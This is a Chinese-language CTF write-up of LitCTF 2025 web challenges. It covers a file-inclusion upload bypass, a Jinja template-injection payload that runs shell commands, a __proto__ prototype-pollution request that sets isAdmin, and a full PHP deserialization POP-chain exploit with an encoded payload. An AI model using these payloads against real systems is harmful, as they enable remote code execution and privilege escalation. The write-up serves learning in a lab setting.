easy_file

admin/password
后台是文件上传
经过尝试发现是白名单,那么就只好找文件包含或者解析漏洞了。在index的源码发现file查看文件

在admin.php使用file参数可以文件包含,文件内容也有过滤直接短标签即可


nest_js

admin/password

{%print(url_for.__globals__.__builtins__['__import__']('os').popen('tac /flag').read())%}

1
2
3
{"settings":{"theme":"asd","language":"asd",
"isAdmin":true
}}
1
2
3
{"settings":{"theme":"asd","language":"asd",
"__proto__":{"isAdmin":true}
}}

君の名は

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
highlight_file(__FILE__);
error_reporting(0);
create_function("", 'die(`/readflag`);');
class Taki
{
private $musubi;
private $magic;
public function __unserialize(array $data)
{
$this->musubi = $data['musubi'];
$this->magic = $data['magic'];
return ($this->musubi)();
}
public function __call($func,$args){
(new $args[0]($args[1]))->{$this->magic}();
}
}

class Mitsuha
{
private $memory;
private $thread;
public function __invoke()
{
return $this->memory.$this->thread;
}
}

class KatawareDoki
{
private $soul;
private $kuchikamizake;
private $name;

public function __toString()
{
($this->soul)->flag($this->kuchikamizake,$this->name);
return "call error!no flag!";
}
}

$Litctf2025 = $_POST['Litctf2025'];
if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){
unserialize($Litctf2025);
}else{
echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆";
}

这个反序列化挺有意思的,首先很明显链尾应该是Taki的__call这里有个原生类的利用

那么链头应该是unserialize链子应该如下

1
Taki{__unserialize}->Mitsuha{__invoke}->KatawareDoki{__toString}->Taki{__call}

然后这里有两个坑,第一个是我们要C头绕过但是7.3版本以下才会转为C头但是
unserialize在7.4才出,所以我们需要7.3生成payload,7.4调试,不能直接在7.3上运行payload。

第二个坑点是unserialize中的$data['xxx']这个xxx其实是我们序列化字符的{"xxx":""}key而我们都知道private属性的在序列化时会在前面加上一个%00类名%00,这样的话如果我们直接7.3序列化7.4反序列化就会导致unserialize。不赋值,所以我们需要将Taki的private属性改成public。

坑点结束后就是怎么利用这个原生类来命令执行了。
首先我们可以看到其使用create_function(“”, ‘die(/readflag);’);创造了一个匿名类。
那么可以尝试使用反射类来调用这个匿名类

ReflectionFunction可以直接调用方法
而这个创建的那么类正好没有参数

那么只要知道这个匿名类的名称就可以得到flag了
本地测了一下第一次进入时叫lambda_1第二次叫lambda_2

那么可以写exp了
写exp的时候又遇到一个问题就是在反序列化的时候

在后面new的Taki也会触发__unserialize所以要给两个都附上值不然会报错
exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php
error_reporting(0);
create_function("", 'echo "aaaa";');

class Taki
{
public $musubi;
public $magic;



public function __unserialize(array $data)
{
$this->musubi = $data['musubi'];
$this->magic = $data['magic'];
return ($this->musubi)();
}
public function __call($func,$args){
(new $args[0]($args[1]))->{$this->magic}();
}
}

class Mitsuha
{
private $memory;
private $thread="asdw";
public function __construct($a)
{
$this->memory=$a;
}
public function __invoke()
{
return $this->memory.$this->thread;
}
}
class KatawareDoki
{
private $soul;
private $kuchikamizake="ReflectionFunction";
private $name;
public function __construct()
{
$a=new Taki();
$a->musubi="time";
$a->magic="invoke";
$this->soul=$a;
$this->name=urldecode("%00lambda_10");
}

public function __toString()
{
($this->soul)->flag($this->kuchikamizake,$this->name);
return "call error!no flag!";
}
}

$a=new Taki();
$a->musubi=new Mitsuha(new KatawareDoki());

$arr=array("1"=>$a);
$b=new ArrayObject($arr);
$c=serialize($b);
echo urlencode($c);
//unserialize($c);
unserialize(urldecode("C%3A11%3A%22ArrayObject%22%3A361%3A%7Bx%3Ai%3A0%3Ba%3A1%3A%7Bi%3A1%3BO%3A4%3A%22Taki%22%3A2%3A%7Bs%3A6%3A%22musubi%22%3BO%3A7%3A%22Mitsuha%22%3A2%3A%7Bs%3A15%3A%22%00Mitsuha%00memory%22%3BO%3A12%3A%22KatawareDoki%22%3A3%3A%7Bs%3A18%3A%22%00KatawareDoki%00soul%22%3BO%3A4%3A%22Taki%22%3A2%3A%7Bs%3A6%3A%22musubi%22%3Bs%3A4%3A%22time%22%3Bs%3A5%3A%22magic%22%3Bs%3A6%3A%22invoke%22%3B%7Ds%3A27%3A%22%00KatawareDoki%00kuchikamizake%22%3Bs%3A18%3A%22ReflectionFunction%22%3Bs%3A18%3A%22%00KatawareDoki%00name%22%3Bs%3A10%3A%22%00lambda_10%22%3B%7Ds%3A15%3A%22%00Mitsuha%00thread%22%3Bs%3A4%3A%22asdw%22%3B%7Ds%3A5%3A%22magic%22%3BN%3B%7D%7D%3Bm%3Aa%3A0%3A%7B%7D%7D"));

匿名函数后面的数字稍微大点,然后多发几个包